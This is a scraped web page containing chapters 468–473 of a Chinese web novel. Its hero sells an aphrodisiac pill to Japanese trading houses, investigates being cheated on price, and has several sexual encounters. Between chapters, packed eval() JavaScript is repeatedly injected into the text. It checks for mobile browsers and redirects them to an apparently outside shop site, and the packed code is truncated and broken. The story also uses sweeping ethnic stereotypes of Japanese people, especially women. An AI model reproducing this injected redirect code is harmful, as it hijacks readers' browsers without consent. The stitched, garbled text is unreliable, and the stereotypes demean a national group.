{ $('.inform').remove(); $('#content').append(' 的三条建议执行的,也许是我们日本市场和你们中国市场有差异,水土不服的缘故吧!” 橘生淮南则为橘,橘生淮北则为枳。 中国的古训李二狗竟忘得一干二净! “酒井小姐,就没有其他办法吗?我们生产的这种药丸可是好东西啊,如果不能造福你们日本男人,实在是太可惜了!” 酒井空附和道:“是啊,药丸的确是好东西,可现在的确也卖得不好。” 酒井空顿了顿,继续说道:“二狗先生,我有个主意,不知道你愿不愿意?” 此时的李二狗大脑出现短暂的空白,他已经对自己的能力产生了严重的怀疑。 “什么主意?” “我认为,这种药丸之所以在日本卖得不好,也许是因为价格太贵了,你看能不能把产品的价格再往下降一降?” 产品卖得不好,降价无疑是一项非常好的办法。 “那我们降多少合适?” 酒井空为难道:“哎,二狗,为了销售这个药丸,我在日本总社那边说了好多好话,他们好不容易才答应继续在日本销售这种药丸,但前提是必须得降价,而且至少得降八成!” 李二狗以为自己的耳朵出现了问题。 降八成!可能连自己的生产成本都不够! 可这种药丸加入了多种名贵中草药,还添加了一些助兴的动物器官,不菲的价格是专为日本市场打造,在如今哀鸿遍野的中国根本卖不动! 比起砸在手里,能不赔钱就是李二狗的底线。 “酒井小姐,这个我现在不能回复你,我得回去再核算一下成本,我也不能赔钱对不对?” 酒井空感同身受地向李二狗深深地鞠了一躬,客气地说道:“让你为难了,二狗先生,实在是对不起!” “这也不关你的事,为了我的事没少让你受批评,是我对不起你。” “实在对不起!”酒井空再次鞠躬道:“可我已经尽力了!请你见谅!” 酒井空虽然极力挽留李二狗留下来深入交流交流,但李二狗此时已经完全提不起精神。 第468章 人狂必有祸,天狂必有雨 李二狗失魂落魄地来到吴氏制药工厂。 工厂里一副繁忙的景象,李二狗内心更加不安。 他来到静雯办公室,看到她正在和制药厂厂长朱孔德谈事情。 “二狗,你怎么到这里来了?” 看到李二狗一副无精打采的样子,静雯立即预感到事情不妙。 李二狗见朱孔德在,便没有说话,直接一屁股坐在沙发上。 “李先生,静雯经理,你们聊,我先出去了。” 朱孔德说完便关上门知趣地退了出去。 静雯贴心地给李二狗倒了一杯热水,端到他面前。 “先喝点水吧,到底出什么事了?怎么看你像霜打的茄子似的?” 李二狗机械般接过水杯,拿在手里却没有喝。 寒冬腊月的天气他后背竟出了一身冷汗。 “静雯,日本那边出问题了,咱们的药丸根本卖不动!” “什么?”静雯顿时傻了眼,“那咱们生产的这些药丸可怎么办?” 为了购买原材料,静雯从吴氏其他企业拆借来不少资金供制药工厂使用,没想到却是这个结局。 “现在日本方面要求我们降价。” “降多少?” 静雯仿佛又看到一丝希望。 “在现在价格的基础上降八成!” “八成?”静雯内心的这一丝希望也彻底破灭了,“如果降八成,我们会赔很多的。” 李二狗失声道:“那也总比砸在咱们手里强,你要知道,这种药丸在中国是根本没有市场的!” 静雯从来没见李二狗如此失态过,她赶紧安慰道:“二狗,你先别着急,咱们再一起想想办法,天无绝人之路,我就不信活人还能被尿憋死?!” 在来制药厂的路上,李二狗已经想过很多办法,但在短时间内,确实没有可行的办法。 “静雯,你赶紧安排人去核算一下咱们的生产成本。” “我这就去,”静雯握住李二狗的手,安慰道:“你也别太着急了,总会想到办法的。” 静雯出去之后,李二狗陷入深深地自责之中。 这两年他有点太顺了,完全忘却了应该有的敬畏之心。 人狂必有祸,天狂必有雨,李二狗真是悔不当初! 静雯核算完成本之后,果然和李二狗事先预估的差不多。 如果在现在价格的基础上降八成,不仅无利可图,还会亏掉一成! 这一成看着不多,但由于总量太大,亏损总额也是相当惊人! 静雯看李二狗自责的样子非常心疼,她柔声安慰道:“二狗,这次我们就当花钱买个教训,亏损就亏损吧,总比全部砸在咱们手里强啊。” 李二狗靠在沙发上,面如死灰,他感觉呼吸都是一种痛。 “哎,我实在是不甘心!怎么会这样?不可能这样啊!” 李二狗反复思考着自己的那三条建议,药丸药效显著,如果严格执行这三条建议,不可能不成功! 虽然日本不是中国,但人性是共通的,男人的虚荣心也是共通的,难道日本男人就不要脸吗? 这不可能! 没有人会不要脸! 那到底是为什么呢? 思来想去,李二狗突然意识到这可能是井伊商社的一个阴谋! 也许是井伊商社的阴谋,也许是酒井空的阴谋,又或许是井伊商社和酒井空一起设下的阴谋。 目的就是利用中日两国之间的信息差,进一步压低进货价,谋取更大的利润。 想到这里,李二狗心中的疑惑全部迎刃而解。 静雯看李二狗一直在愣神,担心他伤心过度,便抬起他的手放在自己脸颊上摩挲。 “二狗,不管怎么样,我都会和你一起承担。” 李二狗的眼泪流了下来。 静雯顿时慌了神,他担心李二狗想不开。 “二狗,你可不要吓我,不管生意怎么样,只要我们都好好的,其他又算得了什么呢?” 其实李二狗的眼泪不是因为生意不顺,而是被静雯的话打动了。 同样是和自己发生关系的女人,静雯为了自己,可以舍弃一切。 而酒井空呢?她在床上声嘶力竭地喊着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17458360|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 口号,肚子里却全是生意。 李二狗很失望也很伤心,这两年的情爱与时光,终究是错付了! “静雯,对不起!” 李二狗紧紧地把静雯搂入怀中,把脸贴在她的头发上,那上面有一股淡淡的茉莉花的香味。 “二狗,不要说对不起,其实我今天所有的一切都是你给的,我愿意为你做一切事情。” “静雯,我爱你。” 静雯眼泪婆娑,抬头和他深情对视。 “我也爱你,二狗!” 唇齿交织中,两颗心贴得更近了! “静雯,我总觉得这件事里面有蹊跷,药丸先不要动,等我调查清楚之后咱们再做决定。” 静雯内心不免吃了一惊。 “你的意思是井伊商社在撒谎?” “这只是我的猜测,目前还没有证据。静雯,咱们这个药丸的配方一定要严格保密,千万不能泄露出去!” 李二狗担心日本人撇开自己,盗取药丸配方后自己生产。 对于日本人来说,没有什么事情是他们做不出来的。 什么江湖道义,什么礼义廉耻,在利益面前全部一文不值! 静雯说道:“这个你就放心吧,药丸的配方被我分成四份,药丸是每份生产完毕之后又重新加工而成,可以确保万无一失。” “静雯,有你在,我就放心了。” 李二狗离开制药厂之后,直接去了日本人在省城开设的一家艺伎馆。 艺伎馆的馆长的一个四十多岁的日本老女人,脸上画着很浓的妆,头上梳着一个很高的发髻,穿着一身绿色和服,显得风韵犹存。 “先生,欢迎光临!里面请。” 艺伎馆馆长又是鞠躬又是作揖,态度既谦恭又和善。 日本人就是这样,她们内心虽然充满了对中国人的傲慢和鄙视,但面对上门来寻欢作乐的顾客,无论你是中国人还是日本人,她们都一样笑脸相迎。 知小节而无大义,守小礼而无大节。 李二狗问道:“你们这里有刚从日本来的姑娘吗?我只要新来的。” 第469章 日式服务冠绝全球 艺伎馆馆长以为李二狗是担心艺伎不是从日本本土来的冒牌货,便笑着保证道:“先生,我们这里的姑娘全部都是从日本本土来的,是实打实的日本女人,如假包换,您可以放一百个心,嘻嘻。” 李二狗不为所动,正色道:“我只要一周之内刚从日本本土来的姑娘,如果你们这里没有的话,我只能换一个地方了。” 艺伎馆馆长没想到李二狗竟如此倔强,但看他穿着优雅,气度非凡,一准是个有钱人。 只要你有钱,哪怕你的要求再无理也会得到满足,这是她们艺伎馆的规矩。 一切为了顾客! “先生,您运气可真好,不瞒您说,我们这里刚好有一位昨天刚从日本北海道来的姑娘,不仅人长得水灵,吹拉弹唱也是样样精通,保证让您大摇大摆地进来,摇摇晃晃着出去,嘻嘻,我这就给您叫去。” 李二狗脱口而出道:“那就辛苦妈妈了。” 他这一声“妈妈”叫的艺伎馆馆长一愣一愣的,心想这个人怎么还叫我妈妈?难道有恋母情节吗?简直比日本男人还变态。 但顾客就是上帝,莫说是叫自己妈妈,就是叫女儿,自己也得痛痛快快地答应着。 “武藤蓝,出来接客了!” 话音刚落,一个身穿天蓝色和服的年轻女子便从房间里小碎步踱了出来。 她发间的玳瑁簪子斜斜地插着,一头乌黑亮丽的秀发梳得一丝不苟,仅在鬓角处垂着两缕碎发,一阵微风徐来,碎发便轻轻颤动着。 脸上敷着一层薄粉,衬得眉眼愈发分明,黛色细眉描成远山状,眼角用红膏点出一颗小巧的泪痣。 和服的领口松开半寸,露出的脖颈莹白如瓷,锁骨处压着一层若有若无的香粉。 指尖涂着淡红的指甲油,与她唇上那抹不浓不淡的唇红相映,就像春山雨后初绽的山茶花,艳得含蓄,却让人移不开眼。 与酒井空相比,这个女人多了几分妖媚,少了几分淡雅。 李二狗没想到,在一个小小的艺伎馆竟有如此明艳动人的女子。 “先生,您觉得她怎么样?” 艺伎馆馆长看李二狗看得入神,便知这个女人一定合他的心意。 李二狗没有回话,从掏出五块大洋,塞到她手里。 “辛苦妈妈给我找一间僻静的房间,大爷我要验牌。” 手里攥着五块大洋,她笑得特别开心,脸上的脂粉“扑簌簌”往下掉。 “蓝蓝,快带这位先生去二楼的空山厅,一定要把先生伺候好了。” 武藤蓝虽初来乍到,但也是一个见过世面的女人,她在日本就是从事艺伎工作,最懂得察言观色。 她看李二狗出手如此阔绰,便准备拿出自己的看家本领,誓要把李二狗伺候的舒舒服服。 她迈着小碎步上前挽着李二狗的胳膊,柔声道:“先生,我们上楼吧。” 李二狗同样也是见过世面之人,此时的他显得十分淡定,他不能在一个日本艺伎面前丢了中国男人的脸面。 两人来到二楼的一个和室,和室的纸门半掩着,透出暖黄色的灯影。 “先生,您请进!” 李二狗知道进入这样的房间要脱鞋,他刚要弯腰,武藤蓝已经蹲在他的脚下。 “先生,请您抬一下脚。” 日式服务果然名不虚传! 她们注重的就是细节!而细节决定成败! 李二狗把脚抬起来,尽量让自己的双腿不因激动而显得颤抖。 脱掉鞋子之后,李二狗便进入和室里。 里面的榻榻米上铺着一个暗纹织的锦垫,中央的矮桌上摆着两个青瓷茶碗。 墙角的一个黑胡桃木的**架上,摆着一个青瓷花瓶,里面插着两枝含苞待放的红梅,旁边银质香炉正袅袅地吐着白檀烟,混着发油的香气弥漫在空气里,给人一种非常温馨的感觉。 墙上挂着一幅《月下美人图》,画中女子眉眼与武藤蓝倒有几分相像。 论氛围营造,中国的妓院和日本的艺伎馆差距甚大。 中国一向讲究温婉、含蓄,古代的妓院也是诗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17458361|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 词唱和之所,不知道为何如今的妓院里却总是弥漫着一股躁动的气息,绝大多数**都是单刀直入,连多说一句话都显得多余。 而日本的艺伎馆却总是给人一种安宁静谧的感觉,氛围渲染的恰到好处,最后的程序仿佛只是水到渠成的事情。 李二狗胡思乱想之时,武藤蓝正跪坐在李二狗对面,她纤细的手指熟练地摆弄着桌上的茶具,茶汤里漂浮着一片樱花花瓣。 突然,一阵微风从窗外吹来,纸门被吹得轻轻发颤,不知道什么时候天空下起了小雨。 窗外的雨声淅淅沥沥,倒衬得室内愈发静谧,偶尔响起一声杯盖碰触茶碗的脆响。 武藤蓝嘴角含笑,眉目传情,娇柔的声音一点也没有造作的感觉。 “先生,您请喝茶。” 李二狗凝视着手中那盏精致的茶碗,一股抹茶的味道飘进鼻腔。 他此前在井伊商社喝过日本抹茶,总觉得茶里有一股茶叶沫子的味道,不如中国茶喝着清香。 出于礼貌,李二狗还是轻轻地抿了一口,没想到味道却比之前喝过的都要清新,也许是因为茶里放了一片樱花花瓣的缘故。 “先生,您觉得味道怎么样?” 武藤蓝眼睛注视着李二狗,眼波流转。 “味道……好极了,哈哈。” 武藤蓝显得很高兴,眼前的这个男人不仅出手阔绰,同时也是一位很有品味的男人。 “先生,我给您跳一支我们日本的舞蹈吧?” 李二狗笑眯眯地看着她,眼里放绿光。 “跳舞的事还是先放一放吧。” 武藤蓝娇羞地低下头,轻声说道:“先生,虽然我们的节目是有顺序的,但客人的需求我们也会全力满足!” 李二狗望着武藤蓝羞答答的样子,还真有一丝心动。 虽说都是**,但国外的**,尤其是日本艺伎,服务态度冠绝全球,他还从来没有体验过。 不过他此次前来,是为了打探日本国内的消息,其他的事情只能先放一放。 第470章 你为何总是对我如此冷淡 李二狗故意说道:“武藤小姐,我今天身体有些疲惫,只想和你聊聊天,可以吗?” 武藤蓝没想到李二狗竟对自己没有兴趣,她有些委屈地问道:“先生是觉得我不够漂亮吗?” 武藤蓝娇滴滴的声音令李二狗心疼。 “不不不,你很漂亮,也……很合我的心意。” 武藤蓝心想,到这里的男人都是为了尝鲜,为何这个男人却只想聊天?实在是令人想不明白。 “既然我很合先生的心意,那您为何只想和我聊天?我会的很多的。” 李二狗笑道:“刚才我已经和你说过了,我最近身体有些疲惫,可能无法享受到小姐细致入微的服务,哎,实在是令人遗憾呐。” 中日文化的差异令武藤蓝根本无法理解李二狗话里的意思。 “先生如果感到疲惫,我可以先为您按按摩,放松放松,或者先生只管躺下,其他的交给我就好。” 武藤蓝听不明白李二狗的话,但李二狗却完全明白武藤蓝的话。 他一直想不明白,为何日本女人平时总是以一副娇弱羞涩的形象示人,可一旦上了床却表现的如狼似虎。 李二狗只好把话说的更加直白一些。 “武藤小姐误会我的意思了,我说的身体疲惫是那个意思,哎……” 武藤蓝先是惊愕,继而微微有些失望。 虽说她是一个艺伎,从事的行业让她无法全身心地去爱一个男人,但她也有喜欢的权力。 李二狗这个男人令她有心动的感觉。 “先生,您……,实在是有些遗憾。” 李二狗同样表现出一副遗憾的表情。 “哎,人到了一定的年纪,总是有些力不从心,这也是没有办法的事情,哎!” 武藤蓝立即想到了目前在日本国内爆火的一夜七次丸。 “先生,难道你们中国就没有能让您不感到疲惫的药吗?” 李二狗叹息道:“以前倒是吃过一些,但效果却总是不尽如人意,时间一长,我也就放弃了。不过最近我听说你们日本有一种流行的药丸,吃了之后效果非常好,甚至可以一夜七次,是不是真的?” 武藤蓝没想到日本国内的事情竟然这么快就传到中国。 “我们日本最近的确有一种疗效特别神奇的药丸,男人一旦吃了,我们女人都受不了!” 李二狗故意表现的很好奇,连忙问道:“真的吗?药丸叫什么名字?我们中国有吗?” 武藤蓝被李二狗急切的样子逗笑了。 “那种药丸叫一夜七次丸,是我们日本国内最大的井伊商社生产的,你们中国应该是没有的。” “那效果真的那么好吗?” “当然好了,它一上市就被抢购一空,目前根本就买不到!” “买不到?那实在是太遗憾了,我还想让武藤小姐帮我代购两盒试试效果呢,呵呵。” “等回头有了新货,我让朋友寄两盒过来送给先生试一试,嘻嘻。” 李二狗此时终于明白了井伊商社的真正意图。 一方面,他们利用中日之间远隔大洋造成的信息差,以销售不好为由,大幅压低产品的进货价格。 另一方面,在日本市场实行饥饿营销,顾客越是买不到,购买的意愿反而愈强烈,一旦新产品上市,必然引发抢购浪潮。 井伊商社这一石两鸟之计实在是高明! 只可惜他们遇到了更高一筹的李二狗,只能怪他们命不好! **酒井空到底知不知晓这个情况,但大抵是知晓的,她是如此精明的一个女人,又怎会对日本国内的情况不了解? “武藤小姐,谢谢你陪我聊天,我还有事,先走了。” 他把五块大洋放在矮桌上,便起身准备离开。 只陪着李二狗说了一会话,便挣到五块大洋,武藤蓝对他的好感度蹭蹭往上涨。 “先生,您下次再来的时候我一定送您两盒药丸。” “谢谢武藤小姐的好意,期待与你再次见面。” “我送先生出去!” 李二狗离开艺伎馆之后,直接回到吴公馆。 静雯还在制药厂没有回来,李二狗刚要上楼,正好碰到孙小雨从楼上走下来。 她穿了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17460436|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 套鹅黄色的真丝睡衣,V型领口开得极低,虽然穿在身上显得有些松弛,但依然可以看到里面的波涛汹涌。 孙小雨的身材是李二狗见过的女人当中最丰满的。 他努力控制着自己的情绪,但还是忍不住多看了两眼。 这一切都被孙小雨看在眼里。 “狗哥,你回来了。” “啊……奥……是啊,我刚回来。” “静雯姐怎么没一起回来?” “我没和她在一起,想必她很快就会回来了。”李二狗刻意强调道。 孙小雨嘴角露出一丝微不可察的笑容。 她从楼上看到李二狗进门,所以特意换了一身性感的睡衣,里面连小肚兜都没有穿。 她对自己的身材特别有信心。 “狗哥,静雯姐即使回来也不会到我房间的。” 说完,她刻意向李二狗抛了一个媚眼。 面对孙小雨赤裸裸的诱惑,李二狗脑瓜子嗡嗡的。 有无聊的人做过一项统计,男人在面对一个女人时,最先观察的是女人的哪个部位? 出人意料的是,百分之八十的男人选择了胸部。 孙小雨的那对双峰确实令男人难以拒绝。 “小雨,我有些累了,先回房间休息了。” 即使李二狗非常想,无比的想,但每次面对孙小雨,他的头脑里总是第一时间出现慕容雪的身影。 而且挥之不去! 此时就是有再多的欲望也只能埋藏在心里! 孙小雨失望极了。 她横身拦住了李二狗的去路。 李二狗走到左边,她也走到左边。 李二狗走到右边,她也走到右边。 “小雨,请让一让好吗?被人看见了不好。” 孙小雨委屈的泪水夺眶而出。 她就是想不明白,面对送上门的漂亮女人,他为何总是显得无动于衷?! “我到底哪里不好?你为什么总是对我如此如此的冷淡?” 李二狗心里也在滴血,无论什么原因,他都不愿意让女人为他伤心难过。 第471章 告诉你一个秘密 “小雨,你别多想,不是你的原因,都是我不好,其实我……” 李二狗不知道该怎么和她解释,他无法拿已经死去的慕容雪作为借口,他也知道孙小雨根本不会相信。 孙小雨几乎用哀求的语气乞求道:“狗哥,求求你,你就要了我吧,我什么都不要,只要你要我,好吗?就要这一次!” 面对楚楚动人又梨花带雨的孙小雨,李二狗还是心软了。 不可否认,孙小雨真的很漂亮,尤其是在进城之后,无论是气质上还是容貌上都发生了极大的变化。 面对这样一个美丽又主动的女人,李二狗不可能不动心! “狗哥,求求你……” 孙小雨上前拉住李二狗的胳膊,轻轻地摇晃着。 李二狗担心被家里的佣人看到,也害怕静雯突然从外边回来。 他只好默默地点了点头。 “小雨,我们还是上去说吧。” 孙小雨立即破涕为笑,拉着李二狗的手就上楼进了自己的卧室。 刚一进门,她便立即扑到李二狗怀里,身体紧紧地贴在他身上,那种软软的而富有弹性的感觉令李二狗完全丧失了理智。 什么慕容雪,什么静雯,全被他抛在脑后。 此时他的眼里只有孙小雨。 “小雨……” “狗哥,要我……” 两人激烈地吻在一起。 孙小雨疯狂地脱掉李二狗身上的衣服,李二狗也疯狂地扒掉孙小雨身上的衣服。 赤裸的两人一边亲吻一边向床边移动。 孙小雨躺在床上,羞涩地闭上了眼睛。 她知道,从此刻起,她将成为李二狗的女人。 成为李二狗的女人意味着什么,她心里比谁都清楚。 面对孙小雨美丽无瑕的胴体,李二狗咽了一口唾沫,正要办正事之时,脑海里却再次出现慕容雪临死前躺在自己怀里的情景。 她脸色惨白,声若游丝地说道:“二……狗,我好冷,我好冷……” 李二狗一瞬间偃旗息鼓了。 孙小雨感觉到李二狗的异样。 她催促道:“狗哥,你怎么了?快上来啊,人家都等不及了!” 李二狗欲哭无泪。 “小雨,对不起!” 李二狗言罢捡起地上的衣服,胡乱地穿在身上,落荒而逃。 **的泪水再一次夺眶而出,孙小雨把自己的嘴唇都咬出了血。 没有什么事情比这种事更让女人觉得**了。 “李二狗,我恨你!我恨你!” 李二狗狼狈逃回自己的房间,感觉呼吸里都带着疼痛。 他心里默念道:“小雨,我对不起你,希望你别怨恨我!” 同时,他在心里默默发誓,以后一定要好好补偿孙小雨,为她寻找一个好的归宿。 “二狗,你什么时候回来的?” 静雯突然推门而入,吓了李二狗一跳。 “我……我刚回来,你怎么这么晚才回来?” 静雯脱下大衣挂在衣架上,来到李二狗身旁。 “你怎么了?怎么头上出这么多汗?生病了吗?” 静雯关切地摸了摸李二狗的额头,虽大汗淋漓,额头却并不滚烫。 李二狗忙解释道:“我……我刚才围着院子跑了两圈,身上出出汗会舒服一些。” 静雯以为李二狗还在为药丸销售不佳的事情发愁,便安慰道:“二狗,你别犯愁了,实在不行,咱们就降价把这批药丸卖给井伊商社算了,即使赔一些也无妨,你的身体才是最重要的。” 李二狗把静雯搂入怀中,躁动的内心终于慢慢平静下来。 “静雯,我已经打听清楚了,其实咱们的药丸早已在日本国内卖断货,是井伊商社故意制造恐慌,以此来逼迫我们压低价格。” 静雯完全没料到井伊商社竟如此卑鄙无耻下流。 “我早就说过,酒井空这个女人靠不住!干爹以前就吃过井伊商社的亏,没想到这次他们竟用如此卑鄙的手段来对付咱们,实在是太可恶了!干脆咱们以后别和他们合作了!日本人太不靠谱!” 李二狗以为静雯听到这个消息会非常开心,却没想到她表现得如此气愤。 李二狗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17460437|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 不知道的是静雯只是对酒井空个人气愤罢了。 “静雯,咱们做生意能置气吗?只要能挣钱,井伊商社哪怕和咱们有深仇大恨,也不妨碍咱们和它继续合作做生意,你要记住,情感是情感,生意是生意!这是两码事!” 李二狗的一番话顿时令静雯羞愧难当,和他比起来,自己实在是太过意气用事了。 “二狗,我错了,如果没有你,我真的会犯很多错误。” “静雯,你千万不要自责,其实你已经做得很好了,你能这样爱憎分明,证明你是一个善良的女人。” 静雯把头靠在李二狗胸前,她此刻觉得自己就是这个世界上最幸福的女人。 “二狗,那接下来咱们怎么办?” “等!” “等?” “对,等!敌不动我不动,咱们就等着他们上门来求咱们和她继续合作。” 静雯还是不放心,问道:“如果她们不和咱们合作,怎么办?” 李二狗笑道:“没有人会和钱过不去,这种挣大钱的机会,她们肯定不会错过的,你就等着吧,不出一个星期,她们肯定会登门相求。” 解决了一直压在心上的一块大石头,静雯感到浑身轻松,心思也活跃起来。 “二狗,不早了,咱们早点上床睡觉吧。” 这时候说睡觉并不是真睡觉,李二狗当然明白是什么意思。 他先前在孙小雨床前积蓄在心中的欲望之火再一次熊熊燃烧起来。 他趴在静雯耳边轻声说道:“静雯,告诉你一个秘密。” 静雯一脸疑惑地转头看着他,一双水汪汪的大眼睛显得十分单纯。 “什么秘密?” 李二狗笑得特别**。 “我偷偷吃了一粒一夜七次丸!” 静雯娇羞地打了李二狗一下。 “你好讨厌!” 李二狗和静雯在床上你侬我侬之时,孙小雨还在隔壁的床上哭泣。 时不时传来的嬉笑声更加令她羞愧难当。 她在心里暗暗发誓,今天失去的,将来她一定会十倍百倍的找回来! 第472章 望穿秋水的眼睛 一个星期过去了,李二狗一直按兵不动,酒井空却彻底坐不住了。 当初日本总社要求对吴氏制药厂隐瞒真实销售情况,酒井空起初是不愿意的。 她虽然看不起中国人,但对李二狗却情有独钟,她不想欺骗他。 但总社的命令她却不敢违背,同时如果让总社知道她和李二狗的特殊关系,总社一定会将她调离。 思虑再三,她还是决定配合总社的计划。 酒井空知道,目前井伊商社已经不单单是一个商社,它是日本政府安排在中国的间谍机构,她绝对不能感情用事。 日本总社再次发来电报,催促酒井空务必在三天之内谈拢进货价格,并把药丸装船发往日本。日本男人嗷嗷待哺,已经等不及了。 酒井空以为李二狗会来乞求自己,她已经做好心理准备,如果李二狗态度诚恳,她愿意把进货价格提升到目前价格的五成。 一日夫妻百日恩,酒井空不是一个不念旧情之人。 可她等了一周,却一直没见李二狗的身影。 到底出什么事了? 她之前得到情报,吴氏制药厂已经生产了大量的药丸,他没有道理不着急。 思虑再三,酒井空还是拨通了吴公馆的电话。 “请问李二狗先生在吗?” “李先生回江东了,请问您是哪位?” 酒井空几乎不敢相信自己的耳朵。 “他……他回江东了?什么时候回去的?还回来吗?” “李先生已经回去五天了,他没说什么时候再回来。” 五天! 他竟然已经回去五天了! 难道这个生意他不做了吗? “那静雯小姐在吗?” “静雯小姐也不在!” “她去哪了?” “这个我不知道。” “等她回来,请你告诉她,我是井伊商社的酒井空,找她有要事相商,请她明天上午十点务必到井伊商社一趟。” “好的,等静雯小姐回来我一定会转告她,再见。” 挂断电话之后,王妈看着一直站在电话机旁的静雯,问道:“静雯小姐,我刚才没有说错话吧?” 静雯笑道:“王妈,你表现的非常好。” 王妈得到主人的夸奖,笑得特别开心。 “她约你明天上午十点到井伊商社,说有要事相商。” “我都听见了,王妈,你先去忙吧。” 李二狗离开之前,特意嘱咐静雯,如果酒井空找她,一定不要见她。 之所以这样安排,一方面是想让酒井空内心更加着急,另一方面他不想让这两个女人碰面。 其实李二狗并没有回江东,他去了大上海。 此时李二狗正坐在上海一家日本商社的办公室里。 经过他一番饱含激情的煽动,坐在对面的松上商社的旧垣结衣已经完全被他打动。 “李先生,我们商社十分愿意与您合作。” “旧垣小姐已经想好了吗?” 这是李二狗与旧垣结衣的第二次见面。 李二狗相信,他们上一次见面之后,旧垣结衣肯定已经向日本国内了解了一夜七次丸的销售情况。 旧垣结衣媚笑道:“我一直都相信二狗先生的话,十分愿意与阁下进行合作。” 李二狗和旧垣结衣对视了一眼。 同样是日本女人,相比于酒井空,旧垣结衣显得更加知性。 她戴着一副黑框眼镜,虽然也是**的身体,但整个人显得十分干练。 一双瞳仁剪秋水,娇从双眸风情来。 日本女人无论是哪种类型,都自带一种风情。 怪不得全世界的男人都想拥有一个日本女人。 “那价格方面,旧垣小姐想好了吗?” 旧垣结衣笑道:“就按二狗先生之前说的价格,您看咱们现在可以签订供货合同了吗?” 李二狗在给井伊商社供货价的基础上上浮了五成,没想到旧垣结衣这么痛快便答应下来。 他意识到,一夜七次丸在日本的销售价格肯定是自己难以想象的。 “旧垣小姐,我这次只能和你们商社签订一个月的供货合同。” 旧垣结衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17462463|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 闻言显得非常惊讶。 “一个月?二狗先生是对我们松上商社的实力有所怀疑吗?” 李二狗笑道:“旧垣小姐不要误会,这次只签订一个月的合同完全是本着对双方负责的态度,我们先合作一个月试一试,给彼此留足试错的空间,不知旧垣小姐意下如何?” 旧垣结衣是一个久经商场的女人,无奸不商,她又岂能轻易相信李二狗这种骗小孩的鬼话。 他想先合作一个月之后再抬高价格,她知道这是中国人惯用的手段。 旧垣结衣站起身,特意整理了一下胸前的衣服,那里是波涛汹涌的地方,也是她引以为傲的地方。 她就是利用它们在商场纵横驰骋,拿下一个又一个难啃的骨头。 她相信,这次拿下李二狗也不在话下。 她扭动着身子坐到李二狗身边,很自然地挽住他的胳膊,胸脯贴在了他的肩膀上,并故意蛄蛹了几下身体。 “二狗先生是对我的诚意有怀疑吗?” 李二狗闻言,身上一阵发冷,竟起了一身鸡皮疙瘩。 他没想到如此干练的旧垣结衣说话竟也可以如此嗲声嗲气。 看来日本女人天生就有勾引男人的本领。 他的喉咙滚动了几下,这一切都被旧垣结衣看在眼里。 李二狗努力让自己保持镇定,他深吸一口气,笑道:“旧垣小姐误会了,我这完全是为了让咱们彼此的利益最大化。” 此时,旧垣结衣的下巴已经搭在李二狗的肩膀上,望穿秋水的眼睛紧紧地盯着李二狗的眼睛。 “二狗先生,对于这次合作,我是非常有诚意的,希望您也要拿出同样的诚意来,不要让人家失望哦。” 李二狗不是一个见了女人就失去原则的人,女人是女人,生意是生意,他拎得清! “旧垣小姐,对于我们的这次合作,我一直非常有诚意,不然我也不会大老远跑到上海来和你们谈合作,你说呢?” 旧垣结衣心里清楚,李二狗之所以抛下先前合作的井伊商社而跑到上海来和她们商社谈合作之事,肯定是为了得到更大的利益。 第473章 一夜八次丸 